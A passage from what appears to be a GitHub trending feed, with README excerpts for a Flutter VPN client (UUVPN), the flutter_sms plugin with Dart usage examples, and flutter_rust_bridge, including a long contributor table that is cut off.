<p>基于Flutter开发的VPN客户端(ios/android),自主设计,精美UI,优化VPN速度,完全开源。</p> <p><img src="https://raw.githubusercontent.com/nicolastinkl/UUVPN/main/screenshots/Snipaste_2023-06-25_11-38-47.png" alt=""></p> <h1>UUVPN</h1> <p>A flutter application for <a href="https://github.com/v2board/v2board">V2Board</a> <del>and <a href="https://github.com/Anankke/SSPanel-Uim">SSPanel-Uim</a></del></p> <p>support iOS application and Android now.</p> <p><strong>IF THIS PROJECT HELPS YOU, PLEASE GIVE ME A LITTLE STAR⭐️.</strong></p> <h2>Screenshots</h2> <p><img src="https://raw.githubusercontent.com/nicolastinkl/UUVPN/main/screenshots/page_7.png" alt=""></p> <h2>Environment</h2> <ul> <li> <p>Flutter Flutter 3.10.1 • channel stable • <a href="https://github.com/flutter/flutter.git">https://github.com/flutter/flutter.git</a> Framework • revision d3d8effc68 (6 weeks ago) • 2023-05-16 17:59:05 -0700 Engine • revision b4fb11214d Tools • Dart 3.0.1 • DevTools 2.23.1</p> </li> <li> <p>macOS 13.3.1 +</p> </li> <li> <p>Xcode 14 +</p> </li> <li> <p>iOS 15.0 +</p> </li> </ul> <h2>Installation</h2> <pre><code class="language-shell">flutter pub get </code></pre> <h2>Develop</h2> <pre><code class="language-shell">flutter run </code></pre> <h2>Build</h2> <p>build android apk</p> <pre><code class="language-shell">flutter build apk </code></pre> <p>build ios</p> <pre><code class="language-shell">flutter build ios </code></pre> <h1>加密混淆导出ipa</h1> <p>flutter build ipa --obfuscate --split-debug-info=/Volumes/TOSHIBA\ EXT/iOS_Project/VPN/uuvpn_android/ios/</p> + fluttercommunity/flutter_sms + 2023-09-20T01:27:56Z + tag:github.com,2023-09-20:/fluttercommunity/flutter_sms + + <p>A Flutter plugin to Send SMS and MMS on iOS and Android. If iMessage is enabled it will send as iMessage on iOS. This plugin must be tested on a real device on iOS. Maintainer: @rodydavis</p><hr><p><a href="https://github.com/fluttercommunity/community"><img src="https://fluttercommunity.dev/_github/header/flutter_sms" alt="Flutter Community: flutter_sms"></a></p> <p><a href="https://www.buymeacoffee.com/rodydavis"><img src="https://img.shields.io/badge/Donate-Buy%20Me%20A%20Coffee-yellow.svg?sanitize=true" alt="Buy Me A Coffee"></a> <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=WSH3GVC49GNNJ"><img src="https://img.shields.io/badge/Donate-PayPal-green.svg?sanitize=true" alt="Donate"></a> <img src="https://github.com/fluttercommunity/flutter_sms/workflows/github%20pages/badge.svg?sanitize=true" alt="github pages"> <a href="https://github.com/fluttercommunity/flutter_sms"><img src="https://img.shields.io/github/stars/fluttercommunity/flutter_sms?color=blue" alt="GitHub stars"></a> <a href="https://pub.dev/packages/flutter_sms"><img src="https://img.shields.io/pub/v/flutter_sms.svg?sanitize=true" alt="flutter_sms"></a></p> <h1>flutter_sms</h1> <p><img src="https://github.com/fluttercommunity/flutter_sms/raw/master/screenshots/ios_blank.PNG" alt="alt-text-1"></p> <p>Online Demo: <a href="https://fluttercommunity.github.io/flutter_sms/">https://fluttercommunity.github.io/flutter_sms/</a></p> <h2>Description</h2> <p>Flutter Plugin for sending SMS and MMS on Android and iOS. If you send to more than one person it will send as MMS. On the iOS if the number is an iPhone and iMessage is enabled it will send as an iMessage.</p> <h2>How To Use</h2> <p>You can send multiple ways:</p> <ol> <li>Message and No People</li> <li>People and No Message</li> <li>Message and People</li> </ol> <p>This will populate the correct fields.</p> <h2>Example</h2> <p>Make sure to Install and Import the Package.</p> <pre><code class="language-dart">import 'package:flutter_sms/flutter_sms.dart'; </code></pre> <p>Create a function for sending messages.</p> <pre><code class="language-dart">void _sendSMS(String message, List&lt;String&gt; recipents) async { String _result = await sendSMS(message: message, recipients: recipents) .catchError((onError) { print(onError); }); print(_result); } </code></pre> <p>You can quickly send the message with this function.</p> <pre><code class="language-dart">String message = "This is a test message!"; List&lt;String&gt; recipents = ["1234567890", "5556787676"]; _sendSMS(message, recipents); </code></pre> <h2>Sending Direct</h2> <p><strong>WARNING, there is a narrow category of apps that can get into the play store using this feature. Using it is only advisable if you fit into this category or you intent to distribute through a third party platform</strong></p> <p>On Android, you can skip the additional dialog with the sendDirect parameter.</p> <pre><code class="language-dart">String message = "This is a test message!"; List&lt;String&gt; recipents = ["1234567890", "5556787676"]; String _result = await sendSMS(message: message, recipients: recipents, sendDirect: true) .catchError((onError) { print(onError); }); print(_result); </code></pre> <p>NOTE: This also requires the SEND_SMS permission to be added to the AndroidManifest.xml</p> <pre><code> &lt;uses-permission android:name="android.permission.SEND_SMS"/&gt; &lt;application ... </code></pre> <h2>Screenshots</h2> <table> <thead> <tr> <th align="center">iOS SMS</th> <th align="center">Android MMS</th> </tr> </thead> <tbody> <tr> <td align="center"><img src="https://github.com/fluttercommunity/flutter_sms/raw/master/screenshots/ios_sms.PNG" alt="alt-text-1"></td> <td align="center"><img src="https://github.com/fluttercommunity/flutter_sms/raw/master/screenshots/android_mms.png" alt="alt-text-2"></td> </tr> </tbody> </table> <p>You can find other <a href="https://github.com/fluttercommunity/flutter_sms/tree/master/screenshots">screenshots here</a>.</p> - fzyzcjy/flutter_rust_bridge - 2023-09-19T01:27:25Z - tag:github.com,2023-09-19:/fzyzcjy/flutter_rust_bridge - - <p>High-level memory-safe binding generator for Flutter/Dart <-> Rust</p><hr><h1><a href="https://github.com/fzyzcjy/flutter_rust_bridge">flutter_rust_bridge</a>: High-level memory-safe binding generator for Flutter/Dart &lt;-&gt; Rust</h1> <p><a href="https://crates.io/crates/flutter_rust_bridge"><img src="https://img.shields.io/crates/v/flutter_rust_bridge.svg?sanitize=true" alt="Rust Package"></a> <a href="https://pub.dev/packages/flutter_rust_bridge"><img src="https://img.shields.io/pub/v/flutter_rust_bridge.svg?sanitize=true" alt="Flutter Package"></a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge"><img src="https://img.shields.io/github/stars/fzyzcjy/flutter_rust_bridge" alt="Stars"></a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/actions/workflows/ci.yaml"><img src="https://github.com/fzyzcjy/flutter_rust_bridge/actions/workflows/ci.yaml/badge.svg?sanitize=true" alt="CI"></a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/actions/workflows/post_release.yaml"><img src="https://github.com/fzyzcjy/flutter_rust_bridge/actions/workflows/post_release.yaml/badge.svg?sanitize=true" alt="Example"></a> <a href="https://app.codacy.com/gh/fzyzcjy/flutter_rust_bridge?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=fzyzcjy/flutter_rust_bridge&amp;utm_campaign=Badge_Grade_Settings"><img src="https://api.codacy.com/project/badge/Grade/6afbdad19e7245adbf9e9771777be3d7" alt="Codacy Badge"></a></p> <p><a href="https://flutter.dev/docs/development/packages-and-plugins/favorites"><img src="https://github.com/fzyzcjy/flutter_rust_bridge/raw/master/book/flutter_favorite.png" width="200"></a></p> <p><img src="https://github.com/fzyzcjy/flutter_rust_bridge/raw/master/book/logo.png" alt="Logo"></p> <p>Want to combine the best between <a href="https://flutter.dev/">Flutter</a>, a cross-platform hot-reload rapid-development UI toolkit, and <a href="https://www.rust-lang.org/">Rust</a>, a language empowering everyone to build reliable and efficient software? Here it comes!</p> <h2>🚀 Advantages</h2> <ul> <li><strong>Memory-safe</strong>: Never need to think about malloc/free.</li> <li><strong>Feature-rich</strong>: <code>enum</code>s with values, platform-optimized <code>Vec</code>, possibly recursive <code>struct</code>, zero-copy big arrays, opaque types on arbitrary structs/classes, <code>Stream</code> (iterator) abstraction, error (<code>Result</code>) handling, cancellable tasks, concurrency control, and more. See full features <a href="https://fzyzcjy.github.io/flutter_rust_bridge/feature.html">here</a>.</li> <li><strong>Async programming</strong>: Rust code will never block the Flutter. Call Rust naturally from Flutter's main isolate (thread); sync mode also equally supported.</li> <li><strong>Lightweight</strong>: This is not a huge framework that includes everything, so you are free to use your favorite Flutter and Rust libraries. <sub>For example, state-management with Flutter library (e.g. MobX) can be elegant and simple (contrary to implementing in Rust); implementing a photo manipulation algorithm in Rust will be fast and safe (countrary to implementing in Flutter).</sub></li> <li><strong>Cross-platform</strong>: Android, iOS, Windows, Linux, MacOS, and Web.</li> <li><strong>Easy to code-review &amp; convince yourself</strong>: This package simply simulates how humans write boilerplate code. If you want to convince yourself (or your team) that it is safe, there is not much code to look at. No magic at all! (<a href="https://fzyzcjy.github.io/flutter_rust_bridge/safety.html">More about</a> safety concerns.)</li> <li><strong>Fast</strong>: It is only a thin (though feature-rich) wrapper, without overhead such as protobuf serialization, thus performant. (More <a href="https://github.com/fzyzcjy/flutter_rust_bridge/issues/318#issuecomment-1034536815">benchmarks</a> later) <small>(Throw away components like thread-pool to make it even faster)</small></li> <li><strong>Pure-Dart compatible:</strong> Despite the name, this package is 100% compatible with <a href="https://github.com/fzyzcjy/flutter_rust_bridge/raw/master/frb_example/pure_dart/README.md">pure</a> Dart.</li> </ul> <h2>💡 User Guide</h2> <p>Check out <a href="https://fzyzcjy.github.io/flutter_rust_bridge/">the user guide</a> for <a href="https://fzyzcjy.github.io/flutter_rust_bridge/quickstart.html">show-me-the-code</a>, <a href="https://fzyzcjy.github.io/flutter_rust_bridge/tutorial_with_flutter.html">tutorials</a>, <a href="https://fzyzcjy.github.io/flutter_rust_bridge/feature.html">features</a> and much more.</p> <h2>📎 P.S. Achieve ~60 FPS, no matter how janky the Flutter app was due to build/layout</h2> <p>Here is my another open-source library :) <a href="https://github.com/fzyzcjy/flutter_smooth">https://github.com/fzyzcjy/flutter_smooth</a>.</p> <h2>✨ Contributors</h2> <!-- ALL-CONTRIBUTORS-BADGE:START - Do not remove or modify this section --> <p><a href="https://raw.githubusercontent.com/fzyzcjy/flutter_rust_bridge/master/#contributors-"><img src="https://img.shields.io/badge/all_contributors-74-orange.svg?style=flat-square" alt="All Contributors"></a></p> <!-- ALL-CONTRIBUTORS-BADGE:END --> <p>Thanks goes to these wonderful people (<a href="https://allcontributors.org/docs/en/emoji-key">emoji key</a> following <a href="https://github.com/all-contributors/all-contributors">all-contributors</a> specification):</p> <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/fzyzcjy"><img src="https://avatars.githubusercontent.com/u/5236035?v=4?s=100" width="100px;" alt="fzyzcjy"><br><sub><b>fzyzcjy</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=fzyzcjy" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=fzyzcjy" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/fzyzcjy/flutter_rust_bridge/master/#example-fzyzcjy" title="Examples">💡</a> <a href="https://raw.githubusercontent.com/fzyzcjy/flutter_rust_bridge/master/#ideas-fzyzcjy" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://raw.githubusercontent.com/fzyzcjy/flutter_rust_bridge/master/#maintenance-fzyzcjy" title="Maintenance">🚧</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Desdaemon"><img src="https://avatars.githubusercontent.com/u/36768030?v=4?s=100" width="100px;" alt="Viet Dinh"><br><sub><b>Viet Dinh</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Desdaemon" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Desdaemon" title="Tests">⚠️</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Desdaemon" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/SecondFlight"><img src="https://avatars.githubusercontent.com/u/6700184?v=4?s=100" width="100px;" alt="Joshua Wade"><br><sub><b>Joshua Wade</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=SecondFlight" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/smw-wagnerma"><img src="https://avatars.githubusercontent.com/u/66412697?v=4?s=100" width="100px;" alt="Marcel"><br><sub><b>Marcel</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=smw-wagnerma" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/rustui"><img src="https://avatars.githubusercontent.com/u/90625190?v=4?s=100" width="100px;" alt="rustui"><br><sub><b>rustui</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=rustui" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://adventures.michaelfbryan.com/"><img src="https://avatars.githubusercontent.com/u/17380079?v=4?s=100" width="100px;" alt="Michael Bryan"><br><sub><b>Michael Bryan</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Michael-F-Bryan" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://bus710.net"><img src="https://avatars.githubusercontent.com/u/8920680?v=4?s=100" width="100px;" alt="bus710"><br><sub><b>bus710</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=bus710" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://scholar.google.com/citations?user=RbAto7EAAAAJ"><img src="https://avatars.githubusercontent.com/u/1213857?v=4?s=100" width="100px;" alt="Sebastian Urban"><br><sub><b>Sebastian Urban</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=surban" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/trobanga"><img src="https://avatars.githubusercontent.com/u/8888869?v=4?s=100" width="100px;" alt="Daniel"><br><sub><b>Daniel</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=trobanga" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/AlienKevin"><img src="https://avatars.githubusercontent.com/u/22850071?v=4?s=100" width="100px;" alt="Kevin Li"><br><sub><b>Kevin Li</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=AlienKevin" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=AlienKevin" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://valeth.me"><img src="https://avatars.githubusercontent.com/u/3198362?v=4?s=100" width="100px;" alt="Patrick Auernig"><br><sub><b>Patrick Auernig</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=valeth" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://antonok.com"><img src="https://avatars.githubusercontent.com/u/22821309?v=4?s=100" width="100px;" alt="Anton Lazarev"><br><sub><b>Anton Lazarev</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=antonok-edm" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Unoqwy"><img src="https://avatars.githubusercontent.com/u/65187632?v=4?s=100" width="100px;" alt="Unoqwy"><br><sub><b>Unoqwy</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Unoqwy" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://feber.dev"><img src="https://avatars.githubusercontent.com/u/1727318?v=4?s=100" width="100px;" alt="Febrian Setianto"><br><sub><b>Febrian Setianto</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=feber" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Syndim"><img src="https://avatars.githubusercontent.com/u/835035?v=4?s=100" width="100px;" alt="syndim"><br><sub><b>syndim</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=syndim" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/sagudev"><img src="https://avatars.githubusercontent.com/u/16504129?v=4?s=100" width="100px;" alt="sagu"><br><sub><b>sagu</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=sagudev" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=sagudev" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://bandism.net/"><img src="https://avatars.githubusercontent.com/u/22633385?v=4?s=100" width="100px;" alt="Ikko Ashimine"><br><sub><b>Ikko Ashimine</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=eltociear" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/alanlzhang"><img src="https://avatars.githubusercontent.com/u/59032810?v=4?s=100" width="100px;" alt="alanlzhang"><br><sub><b>alanlzhang</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=alanlzhang" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=alanlzhang" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/sccheruku"><img src="https://avatars.githubusercontent.com/u/5800058?v=4?s=100" width="100px;" alt="Sai Chaitanya"><br><sub><b>Sai Chaitanya</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=sccheruku" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://ares.zone (国内)"><img src="https://avatars.githubusercontent.com/u/40336192?v=4?s=100" width="100px;" alt="Ares Andrew"><br><sub><b>Ares Andrew</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=TENX-S" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/raphaelrobert"><img src="https://avatars.githubusercontent.com/u/9882746?v=4?s=100" width="100px;" alt="raphaelrobert"><br><sub><b>raphaelrobert</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=raphaelrobert" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/thomas725"><img src="https://avatars.githubusercontent.com/u/68635351?v=4?s=100" width="100px;" alt="thomas725"><br><sub><b>thomas725</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=thomas725" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://dport.me"><img src="https://avatars.githubusercontent.com/u/7816187?v=4?s=100" width="100px;" alt="Daniel Porteous (dport)"><br><sub><b>Daniel Porteous (dport)</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=banool" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/w-ensink"><img src="https://avatars.githubusercontent.com/u/46427708?v=4?s=100" width="100px;" alt="Wouter Ensink"><br><sub><b>Wouter Ensink</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=w-ensink" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/dbsxdbsx"><img src="https://avatars.githubusercontent.com/u/17372655?v=4?s=100" width="100px;" alt="老董"><br><sub><b>老董</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=dbsxdbsx" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=dbsxdbsx" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/lattice0"><img src="https://avatars.githubusercontent.com/u/6632321?v=4?s=100" width="100px;" alt="Lattice 0"><br><sub><b>Lattice 0</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=lattice0" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=lattice0" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://soeur.dev"><img src="https://avatars.githubusercontent.com/u/26034975?v=4?s=100" width="100px;" alt="orange soeur"><br><sub><b>orange soeur</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=juzi5201314" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Roms1383"><img src="https://avatars.githubusercontent.com/u/21016014?v=4?s=100" width="100px;" alt="Rom's"><br><sub><b>Rom's</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Roms1383" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Roms1383" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Cupnfish"><img src="https://avatars.githubusercontent.com/u/40173605?v=4?s=100" width="100px;" alt="Cupnfish"><br><sub><b>Cupnfish</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Cupnfish" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/SoLongAndThanksForAllThePizza"><img src="https://avatars.githubusercontent.com/u/103753680?v=4?s=100" width="100px;" alt="SoLongAnd..."><br><sub><b>SoLongAnd...</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=SoLongAndThanksForAllThePizza" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=SoLongAndThanksForAllThePizza" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Stonks3141"><img src="https://avatars.githubusercontent.com/u/82178396?v=4?s=100" width="100px;" alt="Sam Nystrom"><br><sub><b>Sam Nystrom</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Stonks3141" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://i.hsfzxjy.site"><img src="https://avatars.githubusercontent.com/u/4702188?v=4?s=100" width="100px;" alt="hsfzxjy"><br><sub><b>hsfzxjy</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=hsfzxjy" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://tmpfs.org"><img src="https://avatars.githubusercontent.com/u/238069?v=4?s=100" width="100px;" alt="muji"><br><sub><b>muji</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=tmpfs" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Zaitam"><img src="https://avatars.githubusercontent.com/u/71014214?v=4?s=100" width="100px;" alt="Zaitam"><br><sub><b>Zaitam</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Zaitam" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/alexthe2"><img src="https://avatars.githubusercontent.com/u/33789063?v=4?s=100" width="100px;" alt="Alex Procelewski"><br><sub><b>Alex Procelewski</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=alexthe2" title="Documentation">📖</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=alexthe2" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://matrix.to/#/@vincentherl:matrix.org"><img src="https://avatars.githubusercontent.com/u/5569193?v=4?s=100" width="100px;" alt="Vincent Herlemont"><br><sub><b>Vincent Herlemont</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=vincent-herlemont" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/CicadaCinema"><img src="https://avatars.githubusercontent.com/u/52425971?v=4?s=100" width="100px;" alt="CicadaCinema"><br><sub><b>CicadaCinema</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=CicadaCinema" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=CicadaCinema" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/rogurotus"><img src="https://avatars.githubusercontent.com/u/61418195?v=4?s=100" width="100px;" alt="rogurotus"><br><sub><b>rogurotus</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=rogurotus" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=rogurotus" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/huang12zheng"><img src="https://avatars.githubusercontent.com/u/28038074?v=4?s=100" width="100px;" alt="huang12zheng"><br><sub><b>huang12zheng</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=huang12zheng" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=huang12zheng" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://svenstaro.org"><img src="https://avatars.githubusercontent.com/u/1664?v=4?s=100" width="100px;" alt="Sven-Hendrik Haase"><br><sub><b>Sven-Hendrik Haase</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=svenstaro" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ngasull"><img src="https://avatars.githubusercontent.com/u/912991?v=4?s=100" width="100px;" alt="Nicolas Gasull"><br><sub><b>Nicolas Gasull</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=ngasull" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/codercengiz"><img src="https://avatars.githubusercontent.com/u/45819755?v=4?s=100" width="100px;" alt="codercengiz"><br><sub><b>codercengiz</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=codercengiz" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://www.floeschner.de/"><img src="https://avatars.githubusercontent.com/u/12967904?v=4?s=100" width="100px;" alt="Fabian Löschner"><br><sub><b>Fabian Löschner</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=w1th0utnam3" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://gsconrad.com"><img src="https://avatars.githubusercontent.com/u/15874617?v=4?s=100" width="100px;" alt="Gregory Conrad"><br><sub><b>Gregory Conrad</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=GregoryConrad" title="Documentation">📖</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=GregoryConrad" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.zaynetro.com/"><img src="https://avatars.githubusercontent.com/u/627197?v=4?s=100" width="100px;" alt="Roman Zaynetdinov"><br><sub><b>Roman Zaynetdinov</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=zaynetro" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jsonmona"><img src="https://avatars.githubusercontent.com/u/105187344?v=4?s=100" width="100px;" alt="jsonmona"><br><sub><b>jsonmona</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=jsonmona" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/utilForever"><img src="https://avatars.githubusercontent.com/u/5622661?v=4?s=100" width="100px;" alt="Chris Ohk"><br><sub><b>Chris Ohk</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=utilForever" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Demezy"><img src="https://avatars.githubusercontent.com/u/38487319?v=4?s=100" width="100px;" alt="._."><br><sub><b>._.</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Demezy" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/elliotsayes"><img src="https://avatars.githubusercontent.com/u/7699058?v=4?s=100" width="100px;" alt="elliotsayes"><br><sub><b>elliotsayes</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=elliotsayes" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/temeddix"><img src="https://avatars.githubusercontent.com/u/66480156?v=4?s=100" width="100px;" alt="Kim Dong-Hyun"><br><sub><b>Kim Dong-Hyun</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=temeddix" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=temeddix" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Voklen"><img src="https://avatars.githubusercontent.com/u/56766748?v=4?s=100" width="100px;" alt="Alex Gorichev"><br><sub><b>Alex Gorichev</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Voklen" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/nitn3lav"><img src="https://avatars.githubusercontent.com/u/77448526?v=4?s=100" width="100px;" alt="nitn3lav"><br><sub><b>nitn3lav</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=nitn3lav" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=nitn3lav" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/polypixeldev"><img src="https://avatars.githubusercontent.com/u/79737178?v=4?s=100" width="100px;" alt="polypixeldev"><br><sub><b>polypixeldev</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=polypixeldev" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/anstadnik"><img src="https://avatars.githubusercontent.com/u/40110937?v=4?s=100" width="100px;" alt="Andrii Stadnik"><br><sub><b>Andrii Stadnik</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=anstadnik" 